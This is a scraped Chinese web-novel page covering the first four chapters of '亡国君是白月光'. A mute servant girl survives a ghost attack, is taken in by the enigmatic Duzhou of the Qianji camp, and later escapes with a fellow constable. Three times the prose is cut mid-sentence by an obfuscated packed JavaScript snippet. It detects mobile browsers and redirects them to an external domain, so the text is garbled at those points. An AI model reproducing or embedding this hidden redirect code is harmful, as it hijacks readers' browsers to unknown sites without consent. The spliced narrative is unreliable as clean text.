《亡国君是白月光》 1. 重逢 暮色四合,城郊影憧憧。 一声尖利的嚎叫撕破夜空,月光悄无声息地穿透云层打下来,照映出一张惨白惊惧的脸—— “鬼啊!!!” 话音刚落,阴风凄厉拔地而起,连同这名衙役在内的五人悉数毙命,无一例外死不瞑目。 诡异的是,这些人全都没有一丁点儿皮肉伤。 今夜九洲城衙门派出一班衙役出城办案,却在他们带着凶手回城的路上惨遭毒手。 尸体横陈中站着个十六七岁的小姑娘,一身粗布黑衣,身量不大,模样中规中矩,细看甚是寡淡。那双黑白分明的眼睛因着这场飞来横祸猝然睁大,下意识地张了张嘴巴,却没发出声音。 是个哑巴。 哑奴先是蹲下身子摇摇这个,晃晃那个,等发现这些人都死了,那张脸露出难以置信的表情,愣了片刻,旋即拔出腰间匕首,如同被猎人逼急了的小兽般不要命地扑上去。 同样难以置信的还有对面杀人“截货”的那只青面男鬼。 “这丫头什么来路!竟然没死?” 说话间那柄闪着寒光的匕首就朝青鬼面门袭来,他躲都没躲,匕首穿透一团不成形的黑雾而过,青鬼转身便当胸一脚踹向哑奴。 哑奴避之不及,砰地撞向身后一棵大树,那碗口粗的桃树拦腰而断,她侧身一口鲜血吐在匕首上,擦也没擦便又瞪着眼睛往上扑。 他们要带回城中的凶手是只狐妖,本就只剩一口气,此刻滚在路边不知死活。 青鬼似乎正是冲这狐妖来的,他本已走过去探查生死,看见疯了一样的哑奴颇为惊讶道:“我他妈几百年不出来,人都长猪脑子了?” 活了几百年的鬼?那也得报仇! 哑奴这回学聪明了,知道匕首刺上半身没用,便声东击西陡然转了手腕往下盘刺,也不知是她运气好还是青鬼弱点真在下半身,匕首横着往腿上一招削过去,顷刻间血花淋漓。 果然在下半身。 二人极快地对视一眼,哑奴乘势提刀而上,青鬼一时惊愕,逼不得已退开两步。 他的目光移到那把还在往下滴血的匕首上,不由眯起眼睛自言自语道:“这丫头到底是谁......” 哑奴正要再刺,不料一团黑雾裹挟着强劲的力道锁住她右手,眼看匕首就要被对方夺去,哑奴不握反而松手,左手却在匕首落地那一瞬间接住,利落地转了个方向反手刺向青鬼。 这一切发生在电光火石间,本该一击必中,谁知青鬼竟然毫发无损。 他又变成没有形体的黑雾,阴恻恻道:“不会说话?无妨,让我钻进你脑子里看看。” 为何刺不中? 哑奴当机立断,很识时务地捂着脑袋拔腿便跑。身后阴风阵阵,青鬼森然的声音忽远忽近—— “你不是很能耐吗?跑什么?” 弯月极快地在黑云里穿行,哑奴步履如飞,误打误撞钻进一间破庙。 没等她喘一口气,一阵令人毛骨悚然的笑声几乎贴着她后颈皮肉响起来,哑奴后背猛地窜起一股冷汗,随手抓起一样东西便向后挥去。 噗嗤! 这一下竟然实打实地刺进皮肉,哑奴愣了愣,脑子里突然走马观花地闪过无数碎片一样的画面。 黑压压的天空大雪翻飞,压不住城楼上火海如浪。 血水滔滔,江中尸骸漂浮数十里…… 在这血与火的中央,有一红衣女子安静地躺在一座高台之上。 ——耳边蓦地炸开青鬼那像是颇为痛苦的尖叫,脑海里那些模糊不清的画面戛然而止。 哑奴缓过神,低头看了看手里握着的东西。 那是一把生锈的铁剑,除此之外毫无特别之处。 青鬼捂着伤口从庙里连滚带爬地出去,哑奴提着那把救命的铁剑跟上,对方面容扭曲,从她手中的剑一直往上看,然后恶狠狠道:“天杀的周昭!” 他在骂谁? 哑奴顺着青鬼目光看去,只见庙门上挂着一块木头牌匾,上写三个冷冷清清的大字:杀神庙。 不知为何,这庙宇给哑奴的感觉不太舒服,就像心口突然被什么不明不白的东西狠狠扎了一下,连那把铁剑也冷得几乎握不住。 就在这时,一股骇人的鬼气铺天盖地而来,青鬼的身形笼罩在那团鬼气里,冷笑道:“不过是捡了把破剑!岂能拦我?” 鬼气转瞬间便调转方向,如一阵疾风原路返回。 他是要劫那狐妖? 哑奴一下子反应过来,还没来得及细想,脚先跟着追出去。 哑奴虽然不知道这鬼要狐妖干什么,却记得来时路上县令的嘱托,要他们务必将凶手带回去归案。 她正这么想,前来接应的县令却偏偏这时候跟青鬼撞了个正着。 “又来一个送死的!” “救——” 县令只来得及叫了一声,便两眼一闭倒下去。一团黑气倏地钻进县令的身体,原先的“青鬼”则如同一具被吸干了血肉的干尸倒在路边。 大人! 哑奴刚奔至县令身边,对方猛地睁开眼睛,抬手掐住哑奴的脖子狠狠向后一贯,眼中精光四射,阴毒地笑道:“来,杀我啊。” 剑气裹挟着阴风速度极快地直扑过来,哑奴咳出一口血,腕上一沉,凌厉的剑锋斜劈上去,到了跟前却又犹豫。 生死之间哪容片刻迟疑,占了县令身体的青鬼一剑便刺向哑奴。 右肩骤然传来一阵剧痛,鬼气留下的伤冷得刺骨,她险些脱力松手,咬牙将剑柄紧紧握住。 鬼气如刃四面八方而来,痛得她脸色惨白,却挡住狐妖不肯让开半步。 须臾间,哑奴那身黑衣便被血浸透。 她勉力支撑,长剑不听使唤地从黏腻的掌心慢慢往下滑。 正当剑要脱手而出时,一个硬邦邦的东西突然贴上她后背,紧跟着一只骨节分明的大手隔着衣袖冷冰冰地握住她。 从地上的影子来看这位突然出现在她身后的不速之客个子很高,肩宽腿长。 这人的力道有种不容抗拒的沉稳和掌控,却很温柔。下一瞬,哑奴便被他握着手向前攻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406299|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出。 对面的青鬼几乎是立刻就变了脸色,陡生退意。 哑奴不知来人是敌是友,只觉得冰冷又危险。她略略一动,想挣脱开这人的怀抱,但对方抱得那样紧,胸膛紧贴着她的后背微微震动,一个又低又沉的声音自头顶传来:“专心。” 这二字落定,又是一招自哑奴手里送出。 哑奴简直懵了。 等她反应过来,已经被这么半是强迫着跟对方打了一个来回,更让她觉得诡异的是,这人的剑招竟然大部分她都很熟悉,而且有几招甚至是哑奴前段时间才琢磨出来一半的,对方不光使出来了,还完美无缺地使出来后面一半。 就好像……该怎么说,就好像这人熟悉她的一举一动,熟悉她剑上全部的起承转合。 不消片刻,剑尖直指青鬼咽喉。 别! 哑奴双手并用抱着那只冷冰冰的手使劲儿往后拉,那能杀人的剑很听话地戛然而止。 青鬼露出僵硬的笑:“渡舟,你还真是属狗的,鼻子很灵嘛……” 渡舟? 哑奴转身,抬起头—— 面前的男人身着玄袍,月光如水,落在他身上便好似成了霜,一时间如云似雾,寒意袅袅,鬼气森森,让人不敢逼视。 再看只觉肤色苍白,那是一种像在深不见底的墓穴中活了很多年的肤色。约莫三十岁,一双凤眼瞳色极浅犹胜琥珀,发黑似墨,发带绯红,鬓边却垂着两缕极长的白发在风中纠缠。 那人伸出手,哑奴下意识地向后避开,而对方只是动作很轻柔地将手放在她肩上。他的手刚才明明比铁块还冷,此时掌心的温热却如丝丝缕缕的春风,一点点驱散了她体内彷佛血液都被冻住的寒冷。 身后传来一声惨叫,原来青鬼欲捏决逃跑,但手脚竟在刹那间被暗器钉死在树上。 这一切发生的如此之快,哑奴细看才发现,钉住他的哪是什么暗器,不过是几片红色花瓣罢了。 她一时大惊,张开双臂挡在面前。 其实县令对哑奴说不上有多好,但是她有记忆以来第一个给她一口饭吃的人,因此哑奴自知不是这人对手,也要拼死一试。 那以花作刀的人神情微变,立在一旁把玩着手里剩下几片残瓣,看着哑奴流血不止的手臂。 半晌,他伸出手,苍白的指尖开出一朵红色的小花,轻飘飘地飞落在哑奴肩膀上,哑奴还当对方已经出手,谁料那花瓣像蝴蝶似的轻轻在她身上碰了碰,便调转方向又飞回去,只是颜色却比刚才深得多。 哑奴惊讶地发现不流血也不痛了。 男人摊开手掌,那片仿佛吸满了血的红色花瓣在他掌心如同一颗朱砂,他端详着那片花,既像是在看什么珍视之物,又带着点儿晦暗不明的神情。 片刻后,他眼中流露出淡淡的失望,轻轻蜷起手指将那花瓣揉碎了。 七八个黑衣人如鬼魅般悄无声息地从天而降,为首的戴着只银面具。 男子不轻不重道:“带走。” 哑奴再也支撑不住,眼前一黑陷入昏迷。 2. 逃跑 安平六年,冬,大雪。 一支铁箭“嗖”地一声划破长空,苍鹰如同断线的风筝跌入火海,宣告曾经威震四海的周王朝落幕。 …… “陛下驾崩!” “陛下驾崩!!” 大周的皇帝死了,这个消息正如此刻皇城的漫天大火,从永安门一路迅速扩散到祭天台。 “周昭死了!快去挖她的心!喝她的血!” 无数男女老幼蜂拥而至,就像多年前的那场瘟疫。 人人眼泛红光,唯恐自己落在他人身后。 有人犹豫不决:“我们真的要去挖陛下的心吗?” 旁人白眼道:“你不去?那你拿刀做什么!” “周昭杀母弑兄,通敌叛国!这样的人死一千次也不够!” ...... 火势越来越大,浓烟滚滚直冲云霄,天空仿佛被烧穿了个洞,鹅毛大雪沉默着从黑窟窿里落下来。 雪落在身上却重若千钧,哑奴被压得喘不过气,她不知道自己是在哪里,也不知道周围的吵嚷声是为哪般。 她的眼中只看得见熊熊烈火,断壁残垣。无数脚步声由远及近,无数叫喊声沸反盈天。 别、别过来…… 好冷。 冷...... 她的手脚被绑住动弹不得,越是想大声呼救越是发不出一丝声音,无数人蜂拥而至,利刃猛地落下来刺中心口—— 哑奴猝然睁开眼睛,缓了好一阵子,才听见胸腔里传来一声清晰的跳动声。 这是哪儿…… 四周漆黑一片,鸦雀无声。 哑奴的眼睛勉强能适应黑暗之后,才借着窗外几缕月色看清自己身在何处。 这是一间很大的屋子,摆设很简单,但一应布置看着都很......贵。以哑奴在衙门两年的见闻来说,这里的东西没一样儿是她赔得起的。 衙门…… 昨晚在城郊发生的事情极为缓慢但是无比清晰地钻进哑奴的脑子里,她想起那些就死在自己面前的同僚,下意识打了个冷颤,两行眼泪跟着扑簌扑簌掉下来。 其实哑巴哭起来并非一点儿声音都没有,更像是什么小动物可怜的呜咽,断断续续地从嗓子眼儿里往出冒。 哑奴哭了一阵子,又想起县令。 不行,我得去救大人。 她立马不哭了,把脸上的眼泪胡乱擦干净,翻身下床,走到门边又折回来,推开窗户小心翼翼地跳出去。 刚一落地,哑奴便惊讶地张大嘴巴—— 这地方不光贵,而且十分之大。她身后只是小小一间卧房,放眼望去根本看不到院落尽头。 县令大人会被关在哪儿呢? 哑奴无头苍蝇似的在这地方转了半炷香,发现这里空空荡荡压根一个人都没有。她干脆不再贴着墙根走,大摇大摆在这偌大的院落找人,心里却犯嘀咕:那个叫渡舟的到底是什么人?是好人还是坏人?将我带来这儿干什么? 她想得入神,因此当肩膀被一只手轻轻拍了拍时险些跳起来。 谁! 哑奴习惯性地摸了摸自己腰间,才想起来自己衣服被换了,匕首并不在身上。而这突然出现的人面无表情,一声不吭地递给她一枝鲜嫩的莲花。 二人大眼瞪小眼,场面一度十分诡异。 那阵惊吓过去,哑奴仔细看了半晌,才认出这原来只是个傀儡人。 九洲城修士众多,傀儡并不稀奇,多半是用木头做的,雕成猫猫狗狗之类的小玩意儿,会叫会跳,小孩子很喜欢。像这种跟真人一般无二的傀儡,哑奴还是第一次见。 她接过莲花,凑到鼻尖闻了闻,比划了个谢谢。 傀儡是看不懂手语的,不过等哑奴收下花,傀儡便若无其事地走开了。在这之后哑奴沿途遇到了不少傀儡,每个傀儡长相都不同,足见雕刻这些傀儡的人是多么无聊。他们面对哑奴毫无攻击性,像夜游神似的在院子里走来走去。 虽然不妨碍她,月下溜傀儡却十分诡异。 这样下去等天都亮了我也找不到大人。 哑奴有点儿泄气,抬头看了看同她一样孤零零的月亮,月亮走哪儿她看哪儿,看得眼睛都酸了。 突然,哑奴灵机一动,纵身跃上房顶。 如果站得高些,说不定就能找到。 谁知哑奴脚下刚站稳,一团浑身白毛长着两只绿眼睛的东西嗷一声扑过来。 什么鬼东西! 哑奴吓得一激灵,脚底一滑便压着瓦片七零八落地往下摔。 预想中的疼痛却没到来,哑奴感觉有什么东西轻飘飘地托着她的身体慢慢下落,她偏过头,看见渡舟气定神闲地站在房檐底下。 刚才吓她的原来是只白猫,它从房顶轻巧地跳入渡舟怀里,寻了个舒服的姿势便抬起绿眼睛傲慢地瞧哑奴,颇有几分狗仗人势。 渡舟伸出右手缓而慢地在白猫脊背上摸着,也不说话,就这么好整以暇地看着她。他墨发披肩,浑身上下透着生人勿近的疏离冷漠。 哑奴现在正以一个十分尴尬的姿势平躺在半空,也不知渡舟使了什么法术,她既不往下掉也自然站不起来。 哑奴手指翻飞:“放开我!” 对方终于很吝啬地开了金口:“你认识丹妙?” 丹妙?不认识。 “就是昨晚那只会附身的鬼,世上就那么一只,专吃人梦魇时精魄,也叫魇鬼丹妙。你看到的都不是他的原身,是他强行占了别人的身体。”渡舟缓步走到哑奴面前,又问,“不认识?” 虽是问句,却好似有些淡淡的失望。 哑奴比划道:“不认识,但我讨厌鬼。” 渡舟竟然看懂了,说道:“哦,这样。” 哑奴被这张过于美貌的脸看得不大舒服,更何况她如今的姿势很像案板上任人宰割的鱼肉,实在舒服不起来。但哑奴想起从前县令教她,人在屋檐下,不得不低头。 哑奴看着头顶,心想这大概就是得低头的房檐。 她很有几分忍气吞声地比划:“县令大人在哪儿?他还好吗?” “不太好,被我杀了。” 杀......杀了? 犹如五雷轰顶,哑奴胸中一阵气血翻涌,渡舟很给面子地打了个响指放她下来报仇,哑奴刚一落地便像猫似的张牙舞爪扑上去。 渡舟根本不用腾出手跟她打,也不用法术,哑奴每每出招却打不中。她满腔愤怒,恨不得把眼前这人咬下一块肉来才好。 “他被丹妙附身,除非丹妙自己愿意下来,否则十之八九活不成。再说丹妙杀了你的同伴,你不谢谢我帮你报仇,反要杀我?” 十之一二能活,那也要救。 哑奴觉得跟渡舟这种奇奇怪怪的人根本说不通,她出手愈发快,却不知对面的人眼睛丝毫不眨地暗中观察着她每一个动作,每一个招式。 渡舟并不出手,抱着猫气定神闲地像散步。哑奴气急败坏,没打两下身上的伤又崩开口子,一丝殷红的血线迅速染红了她的肩膀。渡舟眸光一暗,毫不怜惜地丢开猫,抬起右手放在她肩膀上,轻描淡写地说道:“县令没死,他在地牢。” 哑奴难以置信地睁大眼睛。 渡舟就像什么事儿都没发生一样,按照之前的法子灌入法力为她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406300|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疗伤,也不解释刚才为什么要骗她。 “等你养好伤,我带你去看他。在此之前,莫要乱跑。” 原是这样,县令大人没死。 哑奴松了口气,乖乖道歉,将右手放在心口画了个圈儿,意为对不起。 渡舟那双古井般毫无波澜的眼眸终于泛起一丝波澜,问道:“你这就相信了?” 哑奴有些不理解地皱眉,比划道:“不是你说的吗?难道是你骗我吗?” 渡舟摇了摇头:“没有。” 跟渡舟说话太费劲,哑奴不大喜欢。哑奴心中默默猜测渡舟身份,依她来看,渡舟说不定是个大官儿,比县令还大的那种。要么就是那种手底下养了很多黑衣人的神秘组织头头,反正不管哪个都很厉害。 她又想着渡舟这么厉害,也许可以救大人性命,便带了几分讨好的笑。 并不谄媚,而是小孩子讨要糖吃的那种小心翼翼,眼神满怀期待,嘴唇轻轻抿着,手指缓慢地移动变化:“你能不能......救救大人?” 渡舟淡淡道:“我不想,麻烦。” 他的语气稀松平常,就像一条人命于他而言实在无关紧要。 哑奴想了想,这确实是个很好的理由。她勉强认同,于是轻轻叹了口气,又把两只手放在头上当耳朵比划,难为渡舟能懂她的意思:“你说狐妖?她真死了,不过尸体没扔,你也要看吗?” 那还是不看了…… 哑奴还有点儿不明白,魇鬼为什么非要去抢狐妖呢?她问了渡舟这个问题,对方反问道:“你觉得是何缘由?” 折腾了半夜,哑奴又累又困,努力想了想:“狐妖......对魇鬼来说很重要。” 渡舟竟然会夸人:“嗯,很聪明。” 哑奴瞬间不困了。 她突然看到刚才不小心掉在地上的那枝莲花,弯腰捡起来,眉眼弯弯地笑了笑:“这是刚才院中一个傀儡送给我的,好看吗?” 渡舟盯着莲花看了片刻,不知为何竟松了口:“你可以用它换一件事,只要你能想得到的,都可以。人间富贵,无限权力,法力修行......再或者,一个开口说话的机会。” 哑奴眼睛一亮,两只手一起比划:“我要救大人,可以吗?” 渡舟一时没说话,不知道在想什么。哑奴心中忐忑,心想这个难道不比其他的简单吗? 她正惴惴不安,渡舟却从她手里将莲花抽走:“好。” 回去的路上,哑奴才发现自己刚才走了许多绕路。渡舟对这里熟悉得简直闭着眼睛都能找对路,不过哑奴跟着他走了一圈也没分清东南西北,倒是路过了一方莲花池,月下犹为清幽雅致。 渡舟这院子里莲花这样多,如果人人都来折一枝,他岂非要忙死了? 哑奴胡思乱想,前面的人却突然停下脚步,转身问道:“你的剑术,谁教你的?” 说到这里哑奴来了兴趣,摇摇头:“没人教,我自己想的。你也是吗?你的招式,很眼熟。” 渡舟似乎想起了很久远的往事,目光透过她像是看向另一个人,继而道:“……一位天潢贵胄教我的,很多年前教的,一直不敢忘。” 渡舟说这话时温柔得与之前判若两人,而那浓重到化不开的孤独也一点点沿着月色渗出来。 哑奴点点头:“那他一定很厉害喽。” “嗯,很厉害。” “比你还厉害吗?” “......嗯。” 也许是因为渡舟答应了她的请求,哑奴后半夜头一次睡了个好觉,没有那场总是频繁出现在梦里的大火,也没有那些好像要将她啖肉饮血的疯子。 3. 看家 哑奴的伤好得很快,不出三日已经恢复如初。她醒来后第一件事便是去找渡舟兑现承诺,想让他带自己去看县令大人。 谁知渡舟似乎整日忙得脚不沾地,哑奴早起晚睡地堵了他好几天,才终于“偶遇”渡舟。 哑奴还没说话,对方先发制人把一团毛茸茸的东西随手丢给她:“拿去养,别死了就行。” 哑奴被这团又肥又凶的白猫糊一脸,跌跌撞撞往后退,说实话她挺喜欢小动物,但唯独不喜欢这猫。 可能第一次见面就鸡飞狗跳,给双方都留下了不大愉快的初印象吧。 白猫相当不满意地从哑奴怀里往出来拱,渡舟驾熟就轻地伸出两指在它脑门重重一弹,白猫吃痛嗷呜一声缩回去。 啊?哑奴张大嘴巴。 渡舟破天荒地解释道:“它性子犟,不喜欢傀儡喂。” 哑奴还得指望着渡舟救人,很勉强地微笑着答应,指了指白猫,意思是这猫有没有名字。 “般般。”渡舟很敷衍地回答,“你叫它小畜生也行。” 哪有人叫自己的猫小畜生的啊…… 哑奴很是同情地看了眼怀里的般般,心想这猫跟着渡舟说不定过得也是水深火热。 以后跟了我,有我一口肉就有你一根骨头。 渡舟竟然把猫扔给哑奴转身就走了,哑奴着急忙慌地追上去,好容易赶在渡舟前面把人拦住。 渡舟低下眸子看了她一眼:“还有事?” 哑奴指了指天,渡舟明白过来,想了想:“跟我来。” 这几天虽然几乎没见面,不过哑奴总算知道了这是什么地方。渡舟告诉她这里是牵机营,哑奴似乎听衙门里的人提过这个名字,但她忘性大,加上哑奴并不算正式衙役,只是县令当年从人牙子手里买来的奴仆。 因着她两年前刚来时一点儿从前的事情都记不得,痴痴傻傻什么活都不会干,但是会打人会咬人,身手还不错,牙口也不错,所以县令便将她放在衙门里干点儿杂活。 衙役们都嫌她傻,离她远远儿的,哑奴整日不是梦周公,就是跟衙门周围商人家里那群小孩子玩儿,并不关注这些。 如果换一个人听到这三个字,估计会当场色变转身就逃。 不,逃是逃不掉,还是跪下磕头求饶存活性大一点。 哑奴无知无畏,丝毫不清楚牵机营三个字代表着什么。她抱着猫美滋滋跟上渡舟,走到门口时般般却从她怀里跳了出来,不肯进去。 “别管它。”渡舟看向哑奴,“你手里拿着什么?” 秘密。哑奴颇为得意地笑了笑,渡舟同样没管她,向前走了。 等到了关押之地哑奴才知道自己为何找不到,这里原是一座地牢,机关精巧,从外面看是完全看不出的。 这府上傀儡人很多,地牢入口却没有傀儡看守,沿着黑漆漆的台阶往下走,每走一步身侧的墙上便会亮起明黄的光,等他们走过去,身后的亮光又次第熄灭了。 哑奴好奇地发现这墙上用来照明的竟然不是烛火,而是一种尾巴会发光的小虫子。 渡舟见她盯着瞧,问道:“见过吗?” 哑奴摇头如拨浪鼓,她连九洲城都没出过,从哪儿见过这么稀奇的虫子。 她想问问这是什么,看着渡舟那道冷峻高大的玄色背影,又不大敢伸手叫停他。 走了足有半柱香,才到关押魇鬼的地方。 老远便听见魇鬼骂道:“狗娘养的渡舟!放开老子!” 哑奴先急了:“他骂你。” 渡舟一脸淡然:“随便他,你且去看。” 哑奴回过头,指了指渡舟。 对方微不可查地蹙了蹙眉:“丹妙吃人,臭得像蛆,我看见他恶心。”又轻轻拍了拍哑奴的肩膀,低声道:“放心去,有我在,他不敢怎么样。” 哑奴点点头,走到魇鬼身边时好一通闻,除了地牢里的潮湿和混合其中淡淡的腥味儿,她倒是没闻到臭味。 魇鬼看见她竟然破天荒没骂人,眼神却很贪婪,哑奴毫不怀疑如果渡舟不在,魇鬼还是想钻进自己脑袋看看。 熟悉的人变成了鬼,是件一时半会不太能接受的事情。哑奴打量了一会儿“县令”,蹲下把刚才就一直拿在手里的小包袱打开,哼哧哼哧掏出两个大白馒头递给“县令”。 魇鬼:“……” 哑奴指指馒头,意思是你得吃点儿东西保住大人的身体。 魇鬼爆发出一阵狂笑,直笑得他们身后墙壁明明灭灭:“渡舟,你从哪儿找来这么个白痴夯货?” 渡舟手都没抬,地牢里便钻出什么东西把魇鬼锁住往墙上狠狠一贯,魇鬼这幅身体喷了一口血,哑奴看得眼皮直跳,跑过去抓住渡舟的衣角轻轻拽了一下,手势也比得一塌糊涂:“别打大人。” 渡舟没说话,撤了锁住魇鬼的东西。 魇鬼擦了擦血从地上爬起来,看着那两个馒头嘿嘿直笑:“也行吧,喂!以后记得给老子送点肉来!” 渡舟似乎实在难以忍受魇鬼,转向哑奴道:“看完了吗?看完了就走。” 哑奴也只好点点头。 “渡舟!我说你是不是脑子缺根筋?周昭都死一千多年了,你还贼心不死!再说这傻子才多大,不过就会使两下一模一样的剑招,你也下得去手?禽兽!” 身后传来一声像模像样的惨叫。 哑奴心里一急,小步追上去抓住渡舟的手,刚一挨到就被冰得一个激灵。 渡舟漠然地收回手:“我既答应你救人,不会让他死。” 他们沿着来时的路出去,等走到尽头,哑奴突然看见相反的方向有一处更大的牢房,说是牢房不大准确,那里面干干净净,仅摆着一张书案,上面放着一本不知道什么书。 但这房子外面却挂着重重铁索禁制,连铁门都有三道,无一不是克鬼专用的精铁,像是用来关什么穷凶极恶之徒。 等出了地牢,哑奴还有点儿晕晕乎乎,心想下次再不能来看大人了,多来几次那魇鬼不被渡舟整死也得掉层皮。 外面阳光明媚,是个哑奴喜欢的好天气。 渡舟却看起来不大喜欢。 他抬手挡了挡,走到凉亭底下,哑奴也只好跟着过去。 “魇鬼的话听听就算,不必当真。” 渡舟长了双会看透人心的眼睛。 哑奴很诚实地点头,她的确不太明白魇鬼最后那句话的意思。 周昭是谁……好熟悉的名字。 想起来了,那晚在城郊破庙,魇鬼好像也提到了周昭。 可我的剑术又跟周昭有什么关系? 但渡舟只是很敷衍地把话开了个头,剩下的却一点儿没打算跟她讲。 正当此时,一个手拿折扇戴着银面具的白衣男子就跟鬼似的突然出现,哑奴吓了一跳,这陌生男子面对渡舟十分恭敬,行礼道:“主君。” 他欲言又止地往哑奴的方向瞥了一下。 般般懒洋洋地爬到渡舟怀里,渡舟坐下道:“说。” 对方这才开口道:“姜家,被灭门了。” 渡舟无聊地把玩着猫尾巴,平静道:“灭就灭,姜家没一个好东西。依我看,死晚了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406301|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>白衣男子听得眼皮直跳,又道:“主君,姜家毕竟是贵妃的母家,听说宫里闹翻了天,这案子,多半圣上要交给牵机营。” 渡舟嗤之以鼻:“宫里的人都是死的吗?什么芝麻屁大点儿事都要抬到我面前,眼下是谁接手在办?” 白衣男子道:“巡抚陆轻苹。” 哑奴这一通听得云里雾绕,总算听到一个熟人名字。其实也不算多熟,只是前几日那起幼童失踪案,衙门接到的命令便是上头那位新任巡抚下发的,限他们三日内破案。 他们那日在城郊遇袭,正是缉拿此案凶手回城。 那位丢了儿子的老爷叫什么来着…… 姜……姜千峰! 哑奴突然反应过来,那家人就是姓姜。 她再抬头那白衣人已经不见了,渡舟又撒手不管把猫丢给她,道:“我出去一趟,看好家,别乱跑。” 哎! 哑奴还想问问姜家灭门又是怎么回事儿,渡舟压根没给她时间,这人说走就走,真讨厌。 再说这里有什么好看的,哑奴也没见到有什么不得了的宝贝,左右都是些不会说话的傀儡。 等等,哑奴突然想到一件可怕的事情。 如果大人十年八年都没救出来,那她岂不是十年八年都被困在这地方。 也许是冥冥之中自有天意,当晚,牵机营就来了位接哑奴出去的人。 趴在墙头的少年拿石子丢哑奴窗户,小声道:“醒醒!别睡了!” 哑奴推开窗,正被石子砸中脑袋。 少年脸色一变,尴尬地挠挠头:“对不起啊。” 他不过十七八岁,不高不矮,不胖不瘦,丢进人堆里也难找。哑奴认出来,惊喜地冲他挥挥手。 这少年是前些日子新来的衙役,名叫萤木。可能是因为年纪相仿,对哑奴不像别人那样避之不及,两个人也凑合能玩儿到一起去。 少年压低声音,招手道:“快上来呀!跟我回去。” 哑奴三两下爬上房顶,指着地面打了个手势,意思是这里压根没人,没什么好怕的。 谁知萤木拉着哑奴便跑,踩得瓦片乱飞。 哑奴稀里糊涂被他拽着跑了几步,强行停步,瞪大眼睛看着萤木,不知道他要干嘛。 萤木焦躁道:“你知道这是什么地方吗!” “牵机营喽。” “你知道主子是谁吗!” “渡舟啊。” 萤木两眼一黑,低声道:“一两句说不清楚,先跟我出去再说。被牵机营的主子发现了,咱俩都得死!” 哑奴莫名其妙,老老实实比划道:“不会吧,渡舟说要帮我救大人的,再说我们走了,大人怎么办呢?” 萤木恨铁不成钢:“他的话你也信?哪天被他杀了都不知道自己怎么死的!牵机营早就放出消息,宣称大人已经死了,连尸体都不肯交出来,他会帮你救人?别傻了!” 可是…… 哑奴走时回头看了一眼,院中灯火微弱,零零落落的傀儡如同没有脚的鱼,面无表情地在这朦胧夜色里孤独而又沉默地游荡。 哑奴突然想起渡舟,他身上的孤独比这所有的傀儡加起来还要深刻。 夜色浓重,灯火渐远。 哑奴有那么一瞬间不是很想走,她觉得渡舟不像是会杀她的人。尽管魇鬼说渡舟会对她下手,萤木也这么说,但哑奴就是觉得不像。 不过哑奴已经被萤木扯着走远了,她只好在心里默默地说道—— 渡舟,我走了,你的家没人看了。 唔……记得喂猫。 4. 心虚 翌日,衙门正堂。 堂上一男子正襟危坐,面皮白净气度不凡,一脸斯文相满身书卷气。 正中央停着一具盖着白布的尸体。 衙役分列两排,大气儿不敢出。哑奴跟荧木坐在门槛外面,好奇地向里面张望。 荧木小声道:“大人死了,陆巡抚竟然亲自来咱们这小小的衙门办案。不过也是,姜家五十余口都被杀了,这案子可不小呢。” 哑奴不满地摇头,挥了挥手反驳:“大人没死,渡舟带我去见他了,还答应我要救人的。” 荧木将哑奴上下打量一遍,手背往她额头贴了贴,纳闷道:“没发烧啊……” 哑奴躲开他的手,也摸了摸自己。 荧木叹了口气,继续道:“牵机营果然手段了得,到底给你灌什么迷魂汤了?” 渡舟才没给我灌汤! 他们二人正互不相让,堂内一拍惊堂木,陆轻苹声音清脆,说道:“将那道士带上堂来。” 一个身穿黄色道袍,须发全白的瘦道士被押上来。 路过哑奴旁边时,她觉得眼熟,便多看了几眼,忽然想起来——这不是前几天在姜家见过的道士吗?他犯什么事儿了? 说来魇鬼要抢的那只狐妖其实不算衙门抓的,他们到姜家时案子已经破了,抓住狐妖的正是这白胡子道士,衙门只是奉命将凶手带回去。 道士很有几分不满地走上堂前,陆轻苹低喝道:“大胆道人,竟敢欺上瞒下,化人为妖!” 道士晃了晃拂尘,不紧不慢道:“贫道惶恐,不明白大人的意思。” 陆轻苹指了指堂上尸体,立刻有衙役奉命上前揭开白布。 甫一揭开,周围一片吸气声。 这具尸体浑身长满白毛,却有一张干瘪变形的老妇人脸。没有尸臭,倒是有一股若有若无的香气从尸体上飘散出来。初闻似是清苦药香,随后又像是某种花香。 不过最可怖的是,这具尸体的左腿空空荡荡…… 并不是说她没有左腿,而是从左脚一直到大腿部分,只剩一根光秃秃的腿骨,上面没有一丝皮肉! “……乱、乱葬岗!”一名衙役脱口而出道。 “话说清楚,莫要一惊一乍。”陆轻苹道。 